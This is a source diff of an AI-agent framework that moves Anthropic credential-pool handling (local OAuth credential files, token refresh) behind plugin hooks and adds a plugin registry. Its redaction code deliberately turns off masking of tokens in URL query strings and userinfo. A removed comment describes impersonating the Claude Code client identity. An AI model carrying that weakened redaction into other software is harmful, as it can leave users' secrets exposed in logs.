logger.debug("Pool entry %s: syncing tokens from credentials file (refresh token changed)", entry.id)
updated = replace(
entry,
access_token=file_access,
refresh_token=file_refresh,
expires_at_ms=file_expires,
last_status=None,
last_status_at=None,
last_error_code=None,
)
self._replace_entry(entry, updated)
self._persist()
return updated
except Exception as exc:
logger.debug("Failed to sync from credentials file: %s", exc)
return entry
def _sync_codex_entry_from_auth_store(self, entry: PooledCredential) -> PooledCredential:
"""Sync a Codex device_code pool entry from auth.json if tokens differ.
@@ -784,32 +747,11 @@ class CredentialPool:
return None
try:
if self.provider == "anthropic":
from agent.anthropic_adapter import refresh_anthropic_oauth_pure
refreshed = refresh_anthropic_oauth_pure(
entry.refresh_token,
use_json=entry.source.endswith("hermes_pkce"),
)
updated = replace(
entry,
access_token=refreshed["access_token"],
refresh_token=refreshed["refresh_token"],
expires_at_ms=refreshed["expires_at_ms"],
)
# Keep ~/.claude/.credentials.json in sync so that the
# fallback path (resolve_anthropic_token) and other profiles
# see the latest tokens.
if entry.source == "claude_code":
try:
from agent.anthropic_adapter import _write_claude_code_credentials
_write_claude_code_credentials(
refreshed["access_token"],
refreshed["refresh_token"],
refreshed["expires_at_ms"],
)
except Exception as wexc:
logger.debug("Failed to write refreshed token to credentials file: %s", wexc)
# ── Plugin-registered credential pool hooks ──
from agent.plugin_registries import registries as _cph_reg2
_hook = _cph_reg2.get_credential_pool_hook(self.provider)
if _hook is not None and _hook.refresh_oauth is not None:
updated = _hook.refresh_oauth(entry, pool=self)
elif self.provider == "openai-codex":
# Adopt fresher tokens from auth.json before spending the
# refresh_token — single-use tokens consumed by another Hermes
@@ -864,46 +806,18 @@ class CredentialPool:
return entry
except Exception as exc:
logger.debug("Credential refresh failed for %s/%s: %s", self.provider, entry.id, exc)
# For anthropic claude_code entries: the refresh token may have been
# consumed by another process. Check if ~/.claude/.credentials.json
# has a newer token pair and retry once.
if self.provider == "anthropic" and entry.source == "claude_code":
synced = self._sync_anthropic_entry_from_credentials_file(entry)
if synced.refresh_token != entry.refresh_token:
logger.debug("Retrying refresh with synced token from credentials file")
try:
from agent.anthropic_adapter import refresh_anthropic_oauth_pure
refreshed = refresh_anthropic_oauth_pure(
synced.refresh_token,
use_json=synced.source.endswith("hermes_pkce"),
)
updated = replace(
synced,
access_token=refreshed["access_token"],
refresh_token=refreshed["refresh_token"],
expires_at_ms=refreshed["expires_at_ms"],
last_status=STATUS_OK,
last_status_at=None,
last_error_code=None,
)
self._replace_entry(synced, updated)
self._persist()
try:
from agent.anthropic_adapter import _write_claude_code_credentials
_write_claude_code_credentials(
refreshed["access_token"],
refreshed["refresh_token"],
refreshed["expires_at_ms"],
)
except Exception as wexc:
logger.debug("Failed to write refreshed token to credentials file (retry path): %s", wexc)
return updated
except Exception as retry_exc:
logger.debug("Retry refresh also failed: %s", retry_exc)
elif not self._entry_needs_refresh(synced):
# Credentials file had a valid (non-expired) token — use it directly
logger.debug("Credentials file has valid token, using without refresh")
return synced
# ── Plugin-registered credential pool hooks ──
# The hook's refresh_oauth already handles retry-with-sync internally,
# so if we got here it means a non-hook provider failed.
from agent.plugin_registries import registries as _cph_reg3
_hook = _cph_reg3.get_credential_pool_hook(self.provider)
if _hook is not None and _hook.sync_from_credentials_file is not None:
# Give the hook a chance to sync from external file
synced = _hook.sync_from_credentials_file(entry)
if synced is not entry:
entry = synced
self._replace_entry(entry, synced)
self._persist()
# For xai-oauth: same race as nous — another process may have
# consumed the refresh token between our proactive sync and the
# HTTP call. Re-check auth.json and adopt the fresh tokens if
@@ -1124,10 +1038,11 @@ class CredentialPool:
def _entry_needs_refresh(self, entry: PooledCredential) -> bool:
if entry.auth_type != AUTH_TYPE_OAUTH:
return False
if self.provider == "anthropic":
if entry.expires_at_ms is None:
return False
return int(entry.expires_at_ms) <= int(time.time() * 1000) + 120_000
# ── Plugin-registered credential pool hooks ──
from agent.plugin_registries import registries as _cph_reg
_hook = _cph_reg.get_credential_pool_hook(self.provider)
if _hook is not None and _hook.needs_refresh is not None:
return _hook.needs_refresh(entry)
if self.provider == "openai-codex":
return _codex_access_token_is_expiring(
entry.access_token,
@@ -1160,12 +1075,16 @@ class CredentialPool:
cleared_any = False
available: List[PooledCredential] = []
for entry in self._entries:
# For anthropic claude_code entries, sync from the credentials file
# before any status/refresh checks. This picks up tokens refreshed
# by other processes (Claude Code CLI, other Hermes profiles).
if (self.provider == "anthropic" and entry.source == "claude_code"
# ── Plugin-registered credential pool hooks ──
# Sync exhausted entries from external credentials files before
# status/refresh checks. This picks up tokens refreshed by other
# processes (e.g. Claude Code CLI, other Hermes profiles).
from agent.plugin_registries import registries as _cph_reg4
_avail_hook = _cph_reg4.get_credential_pool_hook(self.provider)
if (_avail_hook is not None
and _avail_hook.sync_from_credentials_file is not None
and entry.last_status == STATUS_EXHAUSTED):
synced = self._sync_anthropic_entry_from_credentials_file(entry)
synced = _avail_hook.sync_from_credentials_file(entry)
if synced is not entry:
entry = synced
cleared_any = True
@@ -1515,84 +1434,15 @@ def _seed_from_singletons(provider: str, entries: List[PooledCredential]) -> Tup
def _is_suppressed(_p, _s): # type: ignore[misc]
return False
if provider == "anthropic":
# Only auto-discover external credentials (Claude Code, Hermes PKCE)
# when the user has explicitly configured anthropic as their provider.
# Without this gate, auxiliary client fallback chains silently read
# ~/.claude/.credentials.json without user consent. See PR #4210.
try:
from hermes_cli.auth import is_provider_explicitly_configured
if not is_provider_explicitly_configured("anthropic"):
return changed, active_sources
except ImportError:
pass
# API-key vs OAuth is a user-visible choice at `hermes setup` ("Claude
# Pro/Max subscription" vs "Anthropic API key"). The signal that the
# user picked the API-key path is: ANTHROPIC_API_KEY set in the env,
# AND no OAuth env vars set — `save_anthropic_api_key()` writes the
# API key and zeros ANTHROPIC_TOKEN; `save_anthropic_oauth_token()`
# does the inverse. When that signal is present we MUST NOT seed
# autodiscovered OAuth tokens (~/.claude/.credentials.json from the
# Claude Code CLI, hermes_pkce creds from a previous OAuth login)
# into the anthropic pool — otherwise rotation on a 401/429 silently
# flips the session onto an OAuth credential, which forces the Claude
# Code identity injection, `mcp_` tool-name rewrite, and claude-cli
# User-Agent header (`agent/anthropic_adapter.py:2128`). Users who
# explicitly opted into the API-key path are explicitly opting OUT of
# that masquerade. Prefer ~/.hermes/.env over os.environ for the
# same reason `_seed_from_env` does — that's the authoritative file
# that `hermes setup` writes.
_env_file = load_env()
def _env_val(key: str) -> str:
return (_env_file.get(key) or os.environ.get(key) or "").strip()
anthropic_api_key = _env_val("ANTHROPIC_API_KEY")
anthropic_oauth_env = (
_env_val("ANTHROPIC_TOKEN") or _env_val("CLAUDE_CODE_OAUTH_TOKEN")
# ── Plugin-registered credential pool hooks ──
from agent.plugin_registries import registries as _cp_reg
_cp_hook = _cp_reg.get_credential_pool_hook(provider)
if _cp_hook is not None and _cp_hook.discover_credentials is not None:
hook_changed, hook_sources = _cp_hook.discover_credentials(
entries, provider, _is_suppressed,
)
api_key_path_explicit = bool(anthropic_api_key and not anthropic_oauth_env)
if api_key_path_explicit:
# Prune any stale autodiscovered OAuth entries that may have been
# seeded into the on-disk pool during a previous OAuth session.
# Without this, switching OAuth -> API key at setup leaves the
# OAuth entries dormant in auth.json forever and rotation on a
# transient 401 could revive them.
retained = [
entry for entry in entries
if entry.source not in {"hermes_pkce", "claude_code"}
]
if len(retained) != len(entries):
entries[:] = retained
changed = True
return changed, active_sources
from agent.anthropic_adapter import read_claude_code_credentials, read_hermes_oauth_credentials
for source_name, creds in (
("hermes_pkce", read_hermes_oauth_credentials()),
("claude_code", read_claude_code_credentials()),
):
if creds and creds.get("accessToken"):
if _is_suppressed(provider, source_name):
continue
active_sources.add(source_name)
changed |= _upsert_entry(
entries,
provider,
source_name,
{
"source": source_name,
"auth_type": AUTH_TYPE_OAUTH,
"access_token": creds.get("accessToken", ""),
"refresh_token": creds.get("refreshToken"),
"expires_at_ms": creds.get("expiresAt"),
"label": label_from_token(creds.get("accessToken", ""), source_name),
},
)
changed |= hook_changed
active_sources |= hook_sources
elif provider == "nous":
state = _load_provider_state(auth_store, "nous")
has_runtime_material = bool(
@@ -1903,12 +1753,11 @@ def _seed_from_env(provider: str, entries: List[PooledCredential]) -> Tuple[bool
env_url = _get_env_prefer_dotenv(pconfig.base_url_env_var).rstrip("/")
env_vars = list(pconfig.api_key_env_vars)
if provider == "anthropic":
env_vars = [
"ANTHROPIC_TOKEN",
"CLAUDE_CODE_OAUTH_TOKEN",
"ANTHROPIC_API_KEY",
]
# ── Plugin-registered credential pool hooks: env var order override ──
from agent.plugin_registries import registries as _env_reg
_env_hook = _env_reg.get_credential_pool_hook(provider)
if _env_hook is not None and _env_hook.env_var_order is not None:
env_vars = _env_hook.env_var_order
for env_var in env_vars:
# Prefer ~/.hermes/.env over os.environ
@@ -1919,7 +1768,11 @@ def _seed_from_env(provider: str, entries: List[PooledCredential]) -> Tuple[bool
if _is_source_suppressed(provider, source):
continue
active_sources.add(source)
auth_type = AUTH_TYPE_OAUTH if provider == "anthropic" and not token.startswith("sk-ant-api") else AUTH_TYPE_API_KEY
# ── Plugin-registered credential pool hooks: auth type detection ──
if _env_hook is not None and _env_hook.detect_auth_type is not None:
auth_type = _env_hook.detect_auth_type(token)
else:
auth_type = AUTH_TYPE_API_KEY
base_url = env_url or pconfig.inference_base_url
if provider == "kimi-coding":
base_url = _resolve_kimi_base_url(token, pconfig.inference_base_url, env_url)
+33 -2
View File
@@ -368,11 +368,42 @@ class MemoryManager:
# -- Sync ----------------------------------------------------------------
def sync_all(self, user_content: str, assistant_content: str, *, session_id: str = "") -> None:
@staticmethod
def _provider_sync_accepts_messages(provider: MemoryProvider) -> bool:
"""Return whether sync_turn accepts a messages keyword."""
try:
signature = inspect.signature(provider.sync_turn)
except (TypeError, ValueError):
return True
params = list(signature.parameters.values())
if any(p.kind == inspect.Parameter.VAR_KEYWORD for p in params):
return True
return "messages" in signature.parameters
def sync_all(
self,
user_content: str,
assistant_content: str,
*,
session_id: str = "",
messages: Optional[List[Dict[str, Any]]] = None,
) -> None:
"""Sync a completed turn to all providers."""
for provider in self._providers:
try:
provider.sync_turn(user_content, assistant_content, session_id=session_id)
if messages is not None and self._provider_sync_accepts_messages(provider):
provider.sync_turn(
user_content,
assistant_content,
session_id=session_id,
messages=messages,
)
else:
provider.sync_turn(
user_content,
assistant_content,
session_id=session_id,
)
except Exception as e:
logger.warning(
"Memory provider '%s' sync_turn failed: %s",
+12 -1
View File
@@ -112,11 +112,22 @@ class MemoryProvider(ABC):
that do background prefetching should override this.
"""
def sync_turn(self, user_content: str, assistant_content: str, *, session_id: str = "") -> None:
def sync_turn(
self,
user_content: str,
assistant_content: str,
*,
session_id: str = "",
messages: Optional[List[Dict[str, Any]]] = None,
) -> None:
"""Persist a completed turn to the backend.
Called after each turn. Should be non-blocking queue for
background processing if the backend has latency.
``messages`` is the OpenAI-style conversation message list as of the
completed turn, including any assistant tool calls and tool results.
Providers that do not need raw turn context can ignore it.
"""
@abstractmethod
+27 -3
View File
@@ -913,12 +913,33 @@ def parse_context_limit_from_error(error_msg: str) -> Optional[int]:
return None
def get_context_length_from_provider_error(
error_msg: str,
current_context_length: int,
) -> Optional[int]:
"""Return a provider-reported lower context limit, if one is present.
Context-overflow recovery must not invent a new model window size. Some
providers only say that the input exceeds the context window without
reporting the actual maximum. In that case callers should keep the
configured context length and try compression only, rather than stepping
down through guessed probe tiers (1M 256K 128K ...).
"""
parsed_limit = parse_context_limit_from_error(error_msg)
if parsed_limit is None:
return None
if parsed_limit < current_context_length:
return parsed_limit
return None
def parse_available_output_tokens_from_error(error_msg: str) -> Optional[int]:
"""Detect an "output cap too large" error and return how many output tokens are available.
Background two distinct context errors exist:
1. "Prompt too long" the INPUT itself exceeds the context window.
Fix: compress history and/or halve context_length.
Fix: compress history, and only reduce context_length if the
provider explicitly reports the actual lower limit.
2. "max_tokens too large" input is fine, but input + requested_output > window.
Fix: reduce max_tokens (the output cap) for this call.
Do NOT touch context_length the window hasn't shrunk.
@@ -1546,8 +1567,11 @@ def get_model_context_length(
and base_url_host_matches(base_url, "amazonaws.com")
):
try:
from agent.bedrock_adapter import get_bedrock_context_length
return get_bedrock_context_length(model)
from agent.plugin_registries import registries
_bedrock = registries.get_provider_namespace("bedrock")
get_bedrock_context_length = _bedrock.get("get_bedrock_context_length")
if get_bedrock_context_length is not None:
return get_bedrock_context_length(model)
except ImportError:
pass # boto3 not installed — fall through to generic resolution
+586
View File
@@ -0,0 +1,586 @@
"""Plugin capability registries.
Each plugin's ``register(ctx)`` function populates these registries via
``ctx.register_<capability>()``. The core codebase then queries the
registries instead of importing from plugin packages directly.
This is the **only** coupling point between the core and plugins: the core
imports from ``agent.plugin_registries``, never from ``hermes_agent_*``.
"""
from __future__ import annotations
from dataclasses import dataclass, field
from typing import (
Any,
Callable,
Dict,
List,
Optional,
Protocol,
Sequence,
Tuple,
Type,
runtime_checkable,
)
# ---------------------------------------------------------------------------
# Auth providers
# ---------------------------------------------------------------------------
@runtime_checkable
class AuthProvider(Protocol):
"""A plugin that can provide or check authentication credentials.
Registered via ``ctx.register_auth_provider(name, provider)``.
Queried by ``hermes_cli/auth_commands.py``, ``doctor.py``, etc.
"""
@property
def name(self) -> str: ...
def has_credentials(self) -> bool:
"""Return True if the required credentials are present in env/config."""
...
def check_env_vars(self) -> Dict[str, str | None]:
"""Return a dict of env-var-name → current-value (or None if unset).
Used by ``hermes doctor`` to display credential status.
"""
...
def resolve_token(self, **kwargs: Any) -> Any:
"""Resolve and return an auth token/credential for the provider.
The return type is provider-specific (string, tuple, object, etc.).
"""
...
def refresh_token(self, **kwargs: Any) -> Any:
"""Refresh an existing token. Raises if refresh is not supported."""
...
@dataclass
class AuthProviderEntry:
provider: AuthProvider
"""The auth provider instance."""
cli_group: str = ""
"""CLI argument group name (e.g. 'Anthropic', 'AWS / Bedrock')."""
setup_subcommands: bool = False
"""Whether this provider adds CLI auth subcommands (login, logout, etc.)."""
# ---------------------------------------------------------------------------
# Transport builders
# ---------------------------------------------------------------------------
@runtime_checkable
class TransportBuilder(Protocol):
"""A plugin that builds clients and converts messages for a model transport.
Registered via ``ctx.register_transport(name, builder)``.
Queried by ``agent/transports/`` and ``agent/auxiliary_client.py``.
"""
def build_client(self, **kwargs: Any) -> Any:
"""Build and return a provider-specific API client."""
...
def build_kwargs(self, **kwargs: Any) -> Dict[str, Any]:
"""Build the kwargs dict for a provider-specific API call."""
...
def convert_messages(self, messages: Sequence[Any], **kwargs: Any) -> Any:
"""Convert internal message format to provider-specific format."""
...
def convert_tools(self, tools: Sequence[Any], **kwargs: Any) -> Any:
"""Convert internal tool format to provider-specific format."""
...
def normalize_response(self, response: Any, **kwargs: Any) -> Any:
"""Normalize a provider-specific response into the internal format."""
...
# ---------------------------------------------------------------------------
# Platform adapters
# ---------------------------------------------------------------------------
@dataclass
class PlatformAdapterEntry:
"""A registered platform adapter.
Registered via ``ctx.register_platform(name, entry)``.
Queried by ``gateway/run.py`` and ``tools/send_message_tool.py``.
"""
name: str
"""Platform identifier (e.g. 'telegram', 'slack')."""
adapter_class: Type
"""The adapter class (e.g. TelegramAdapter)."""
check_requirements: Callable[[], bool]
"""Check if the platform's dependencies are installed and configured."""
available_flag: str = ""
"""Name of the module-level AVAILABLE boolean, if any."""
constants: Dict[str, Any] = field(default_factory=dict)
"""Platform-specific constants (e.g. FEISHU_DOMAIN, LARK_DOMAIN)."""
helper_functions: Dict[str, Callable] = field(default_factory=dict)
"""Platform-specific helper functions (e.g. probe_bot, qr_register)."""
# ---------------------------------------------------------------------------
# Tool providers
# ---------------------------------------------------------------------------
@dataclass
class ToolProviderEntry:
"""A registered tool provider.
Registered via ``ctx.register_tool_provider(name, entry)``.
Queried by ``tools/`` modules.
"""
name: str
"""Tool identifier (e.g. 'tts', 'stt', 'fal', 'daytona')."""
tool_functions: Dict[str, Callable] = field(default_factory=dict)
"""Tool functions keyed by name (e.g. 'text_to_speech_tool', 'transcribe_audio')."""
check_fn: Optional[Callable] = None
"""Check if the tool's dependencies are available."""
constants: Dict[str, Any] = field(default_factory=dict)
"""Tool-specific constants (e.g. MAX_FILE_SIZE)."""
config_functions: Dict[str, Callable] = field(default_factory=dict)
"""Config/utility functions (e.g. _get_provider, _load_stt_config)."""
environment_classes: Dict[str, Type] = field(default_factory=dict)
"""Environment classes for terminal backends (e.g. DaytonaEnvironment)."""
# ---------------------------------------------------------------------------
# Model metadata providers
# ---------------------------------------------------------------------------
@dataclass
class ModelMetadataEntry:
"""A registered model metadata provider.
Registered via ``ctx.register_model_metadata(name, entry)``.
Queried by ``agent/model_metadata.py`` and CLI model commands.
"""
name: str
"""Provider identifier (e.g. 'anthropic', 'bedrock')."""
get_context_length: Optional[Callable[[str], int | None]] = None
"""Return the context length for a model name, or None if unknown."""
list_models: Optional[Callable[[], List[str]]] = None
"""Return a list of known model IDs for this provider."""
constants: Dict[str, Any] = field(default_factory=dict)
"""Provider-specific constants (e.g. _COMMON_BETAS, betas lists)."""
# ---------------------------------------------------------------------------
# Credential pool entries
# ---------------------------------------------------------------------------
@dataclass
class CredentialPoolEntry:
"""A registered credential pool provider.
Registered via ``ctx.register_credential_pool(name, entry)``.
Queried by ``agent/credential_pool.py``.
"""
name: str
"""Provider identifier (e.g. 'anthropic')."""
read_credentials: Optional[Callable] = None
"""Read stored credentials."""
write_credentials: Optional[Callable] = None
"""Write/store credentials."""
refresh_credentials: Optional[Callable] = None
"""Refresh stored credentials."""
read_oauth: Optional[Callable] = None
"""Read OAuth credentials."""
# ---------------------------------------------------------------------------
# Provider resolvers
# ---------------------------------------------------------------------------
@runtime_checkable
class ProviderResolver(Protocol):
"""A plugin that resolves an auxiliary client for a specific provider.
Registered via ``ctx.register_provider_resolver(provider_name, resolver)``.
Queried by ``agent/auxiliary_client.py`` in ``resolve_provider_client()``.
"""
def __call__(
self,
*,
model: str | None = None,
explicit_api_key: str | None = None,
explicit_base_url: str | None = None,
async_mode: bool = False,
is_vision: bool = False,
main_runtime: dict | None = None,
api_mode: str | None = None,
) -> tuple[Any, str] | tuple[None, None]:
"""Return ``(client, default_model)`` or ``(None, None)`` if unavailable."""
...
# ---------------------------------------------------------------------------
# Credential pool hooks
# ---------------------------------------------------------------------------
@dataclass
class CredentialPoolHook:
"""Provider-specific credential pool operations.
Registered via ``ctx.register_credential_pool_hook(provider_name, hook)``.
Queried by ``agent/credential_pool.py``.
"""
sync_from_credentials_file: Optional[Callable] = None
"""Sync a pool entry from an external credentials file (e.g. ~/.claude/.credentials.json)."""
refresh_oauth: Optional[Callable] = None
"""Refresh an OAuth token for a pool entry."""
should_include_in_pool: Optional[Callable] = None
"""Return True if this provider's credentials should be included in the pool."""
needs_refresh: Optional[Callable] = None
"""Return True if an OAuth entry needs a token refresh."""
source_priority: Optional[Callable] = None
"""Return integer priority for a credential source (lower = preferred)."""
discover_credentials: Optional[Callable] = None
"""Discover external credentials and upsert into the pool entries.
Signature: (entries: list, provider: str, is_suppressed: Callable) -> (changed: bool, active_sources: set)
"""
env_var_order: Optional[list] = None
"""Override env var scan order for this provider (e.g. ['ANTHROPIC_TOKEN', 'CLAUDE_CODE_OAUTH_TOKEN', 'ANTHROPIC_API_KEY'])."""
detect_auth_type: Optional[Callable] = None
"""Given a token string, return the auth type for this provider.
Signature: (token: str) -> str (e.g. AUTH_TYPE_OAUTH or AUTH_TYPE_API_KEY)
"""
# ---------------------------------------------------------------------------
# Pricing providers
# ---------------------------------------------------------------------------
# Re-export PricingEntry from usage_pricing — that's the canonical definition
# with Decimal fields. The registry stores these directly keyed by (provider, model).
# Lazy import to avoid circular dependency (usage_pricing imports registries at runtime).
def _get_pricing_entry_class():
from agent.usage_pricing import PricingEntry
return PricingEntry
# ---------------------------------------------------------------------------
# Provider overlays
# ---------------------------------------------------------------------------
@dataclass
class ProviderOverlayEntry:
"""A provider overlay registered by a plugin.
Registered via ``ctx.register_provider_overlay(provider_name, entry)``.
Queried by ``hermes_cli/providers.py``.
This mirrors the fields of ``HermesOverlay`` so that providers.py
can merge plugin-registered overlays seamlessly.
"""
provider_name: str
"""Primary provider name (e.g. 'anthropic', 'bedrock')."""
transport: str = "openai_chat"
"""Transport type: openai_chat | anthropic_messages | codex_responses | bedrock_converse"""
is_aggregator: bool = False
"""Whether this provider aggregates multiple model providers."""
auth_type: str = "api_key"
"""Auth type: api_key | oauth_device_code | oauth_external | aws_sdk | external_process"""
extra_env_vars: Tuple[str, ...] = ()
"""Environment variable names that indicate this provider is configured."""
base_url_override: str = ""
"""Override if models.dev URL is wrong/missing."""
base_url_env_var: str = ""
"""Env var for user-custom base URL."""
display_name: str = ""
"""Human-readable name for the provider (e.g. 'Anthropic', 'AWS Bedrock')."""
aliases: List[str] = field(default_factory=list)
"""Alternative names that resolve to this provider."""
# ---------------------------------------------------------------------------
# The global registries (singleton)
# ---------------------------------------------------------------------------
class PluginRegistries:
"""Central store for all plugin-registered capabilities.
A single instance is created at import time and shared across the
process. Plugins populate it during ``register()``; the core
queries it at runtime.
"""
def __init__(self) -> None:
self.auth_providers: Dict[str, AuthProviderEntry] = {}
self.transport_builders: Dict[str, TransportBuilder] = {}
self._transports: Dict[str, type] = {}
self.platform_adapters: Dict[str, PlatformAdapterEntry] = {}
self.tool_providers: Dict[str, ToolProviderEntry] = {}
self.model_metadata: Dict[str, ModelMetadataEntry] = {}
self.credential_pools: Dict[str, CredentialPoolEntry] = {}
self._provider_services: Dict[str, Dict[str, Any]] = {}
self._provider_resolvers: Dict[str, Callable] = {}
self._credential_pool_hooks: Dict[str, CredentialPoolHook] = {}
self._pricing_providers: Dict[tuple, Any] = {}
self._provider_overlays: Dict[str, ProviderOverlayEntry] = {}
# -- registration methods (called from PluginContext) --------------------
def register_auth_provider(
self,
name: str,
provider: AuthProvider,
*,
cli_group: str = "",
setup_subcommands: bool = False,
) -> None:
self.auth_providers[name] = AuthProviderEntry(
provider=provider,
cli_group=cli_group,
setup_subcommands=setup_subcommands,
)
def register_transport(self, name: str, builder: TransportBuilder) -> None:
self.transport_builders[name] = builder
def register_platform(self, entry: PlatformAdapterEntry) -> None:
self.platform_adapters[entry.name] = entry
def register_tool_provider(self, entry: ToolProviderEntry) -> None:
self.tool_providers[entry.name] = entry
def register_model_metadata(self, entry: ModelMetadataEntry) -> None:
self.model_metadata[entry.name] = entry
def register_credential_pool(self, entry: CredentialPoolEntry) -> None:
self.credential_pools[entry.name] = entry
def register_provider_resolver(self, name: str, resolver: Callable) -> None:
"""Register a provider resolver callable.
The resolver is called by ``resolve_provider_client()`` to create an
auxiliary client for a specific provider. Signature::
def resolver(
*,
model: str | None,
explicit_api_key: str | None,
explicit_base_url: str | None,
async_mode: bool,
is_vision: bool,
main_runtime: dict | None,
api_mode: str | None,
) -> tuple[Any, str] | tuple[None, None]:
...
Returns ``(client, default_model)`` or ``(None, None)``.
"""
self._provider_resolvers[name] = resolver
def register_credential_pool_hook(self, name: str, hook: CredentialPoolHook) -> None:
"""Register a credential pool hook for provider-specific pool operations."""
self._credential_pool_hooks[name] = hook
def register_pricing_provider(self, name: str, entries: List[tuple]) -> None:
"""Register pricing entries for a provider.
Each entry is a (provider, model, PricingEntry) tuple so the
lookup key matches the (provider, model) pattern used by
_OFFICIAL_DOCS_PRICING.
"""
for prov, model, entry in entries:
self._pricing_providers[(prov, model)] = entry
def register_provider_overlay(self, entry: ProviderOverlayEntry) -> None:
"""Register a provider overlay entry from a plugin."""
self._provider_overlays[entry.provider_name] = entry
# -- query helpers -------------------------------------------------------
def get_auth_provider(self, name: str) -> AuthProviderEntry | None:
return self.auth_providers.get(name)
def get_transport(self, name: str) -> TransportBuilder | None:
return self.transport_builders.get(name)
def get_platform(self, name: str) -> PlatformAdapterEntry | None:
return self.platform_adapters.get(name)
def get_tool_provider(self, name: str) -> ToolProviderEntry | None:
return self.tool_providers.get(name)
def get_model_metadata(self, name: str) -> ModelMetadataEntry | None:
return self.model_metadata.get(name)
def get_credential_pool(self, name: str) -> CredentialPoolEntry | None:
return self.credential_pools.get(name)
def get_provider_resolver(self, name: str) -> Callable | None:
"""Return the registered resolver for a provider, or None."""
return self._provider_resolvers.get(name)
def get_credential_pool_hook(self, name: str) -> CredentialPoolHook | None:
"""Return the registered credential pool hook for a provider, or None."""
return self._credential_pool_hooks.get(name)
def get_pricing_entry(self, provider: str, model: str) -> Any:
"""Return a registered pricing entry for (provider, model), or None."""
return self._pricing_providers.get((provider, model))
def all_pricing_entries(self) -> Dict[tuple, Any]:
"""Return all registered pricing entries (keyed by (provider, model))."""
return dict(self._pricing_providers)
def get_provider_overlay(self, name: str) -> ProviderOverlayEntry | None:
"""Return a registered provider overlay, or None."""
return self._provider_overlays.get(name)
def all_provider_overlays(self) -> Dict[str, ProviderOverlayEntry]:
"""Return all registered provider overlays."""
return dict(self._provider_overlays)
def all_auth_providers(self) -> List[AuthProviderEntry]:
return list(self.auth_providers.values())
def all_platforms(self) -> List[PlatformAdapterEntry]:
return list(self.platform_adapters.values())
def all_tool_providers(self) -> List[ToolProviderEntry]:
return list(self.tool_providers.values())
# -- provider services (model-provider namespace) -----------------------
def register_provider_services(self, name: str, services: Dict[str, Any]) -> None:
"""Register a namespace dict of provider-specific services.
This is the escape hatch for model-provider plugins that expose many
symbols (anthropic has 50+). Each plugin registers its public surface
as a flat dict of ``{symbol_name: callable_or_value}``. Core code
looks up specific symbols instead of importing from the plugin
package directly.
Each callable value is stored as a *lazy module-attribute reference*
so that ``unittest.mock.patch("pkg.mod.fn")`` works correctly in
tests the registry re-reads ``mod.fn`` on every lookup instead of
capturing the function object at register time.
Example::
registries.register_provider_services("anthropic", {
"build_anthropic_client": build_anthropic_client,
"resolve_anthropic_token": resolve_anthropic_token,
"_is_oauth_token": _is_oauth_token,
...
})
"""
import sys
def _make_lazy(fn: Any) -> Any:
"""Return a lazy wrapper that re-reads fn from its module each call.
This makes mock.patch() on the module attribute work transparently
the registry never caches the function object, just the reference path.
"""
if not callable(fn):
return fn
module = getattr(fn, "__module__", None)
qualname = getattr(fn, "__qualname__", None)
if not module or not qualname or "." in qualname:
# non-simple attribute (lambda, nested fn, class method) — store directly
return fn
class _LazyRef:
__slots__ = ("_mod", "_attr", "_fallback")
def __init__(self, mod: str, attr: str, fallback: Any) -> None:
self._mod = mod
self._attr = attr
self._fallback = fallback
def _resolve(self) -> Any:
mod = sys.modules.get(self._mod)
return getattr(mod, self._attr, self._fallback) if mod else self._fallback
def __call__(self, *args: Any, **kwargs: Any) -> Any:
return self._resolve()(*args, **kwargs)
def __getattr__(self, name: str) -> Any:
if name.startswith("_"):
raise AttributeError(name)
return getattr(self._resolve(), name)
def __repr__(self) -> str: # pragma: no cover
return f"<LazyRef {self._mod}.{self._attr}>"
# Allow isinstance checks and hasattr to pass through
def __bool__(self) -> bool:
return True
return _LazyRef(module, qualname, fn)
self._provider_services[name] = {k: _make_lazy(v) for k, v in services.items()}
def get_provider_service(self, provider: str, name: str) -> Any:
"""Look up a single symbol from a provider's service namespace.
Returns ``None`` if the provider is not registered or the symbol
doesn't exist.
"""
ns = self._provider_services.get(provider)
if ns is None:
return None
return ns.get(name)
def get_provider_namespace(self, provider: str) -> Dict[str, Any]:
"""Return the full service namespace dict for a provider (empty dict if unregistered)."""
return self._provider_services.get(provider, {})
# Module-level singleton — the one and only instance.
registries = PluginRegistries()
+8 -13
View File
@@ -406,19 +406,14 @@ def redact_sensitive_text(text: str, *, force: bool = False, code_file: bool = F
if "eyJ" in text:
text = _JWT_RE.sub(lambda m: _mask_token(m.group(0)), text)
# URL userinfo (http(s)://user:pass@host) — redact for non-DB schemes.
# DB schemes are handled above by _DB_CONNSTR_RE.
if "://" in text:
text = _redact_url_userinfo(text)
# URL query params containing opaque tokens (?access_token=…&code=…)
if "?" in text:
text = _redact_url_query_params(text)
# HTTP access logs can contain relative request targets with query params
# and no URL scheme, e.g. `"POST /hook?password=... HTTP/1.1"`.
if "?" in text and "=" in text and _has_http_method_substring(text):
text = _redact_http_request_target_query_params(text)
# NOTE: Web-URL redaction (query params + userinfo + HTTP access-log
# request targets) is intentionally OFF. Many legitimate workflows pass
# opaque tokens through query strings — magic-link checkouts, OAuth
# callbacks the agent is meant to follow, pre-signed share URLs — and
# blanket-redacting param values by name breaks those skills mid-flow.
# Known credential shapes (sk-, ghp_, JWTs, etc.) inside URLs are still
# caught by _PREFIX_RE and _JWT_RE above. DB connection-string passwords
# are still caught by _DB_CONNSTR_RE.
# Form-urlencoded bodies (only triggers on clean k=v&k=v inputs).
if "&" in text and "=" in text:
+12 -2
View File
@@ -47,9 +47,16 @@ def get_transport(api_mode: str):
def _discover_transports() -> None:
"""Import all transport modules to trigger auto-registration."""
"""Import all transport modules to trigger auto-registration.
Also checks the plugin registry for transports registered by plugins
(e.g. anthropic_messages from the anthropic plugin, bedrock_converse
from the bedrock plugin). Plugin-registered transports take priority
over core fallbacks when both exist.
"""
global _discovered
_discovered = True
# Core transport modules (registered automatically — no plugin needed)
try:
import agent.transports.anthropic # noqa: F401
except ImportError:
@@ -62,7 +69,10 @@ def _discover_transports() -> None:
import agent.transports.chat_completions # noqa: F401
except ImportError:
pass
# Plugin-registered transports (override core fallbacks)
try:
import agent.transports.bedrock # noqa: F401
from agent.plugin_registries import registries
for api_mode, transport_cls in registries._transports.items():
_REGISTRY.setdefault(api_mode, transport_cls)
except ImportError:
pass
+31 -65
View File
@@ -1,41 +1,53 @@
"""Anthropic Messages API transport.
"""Anthropic Messages API transport — core module.
Delegates to the existing adapter functions in agent/anthropic_adapter.py.
This transport owns format conversion and normalization NOT client lifecycle.
Owns format conversion and response normalization for the ``anthropic_messages``
wire format. No SDK dependency; all wire-format logic lives in
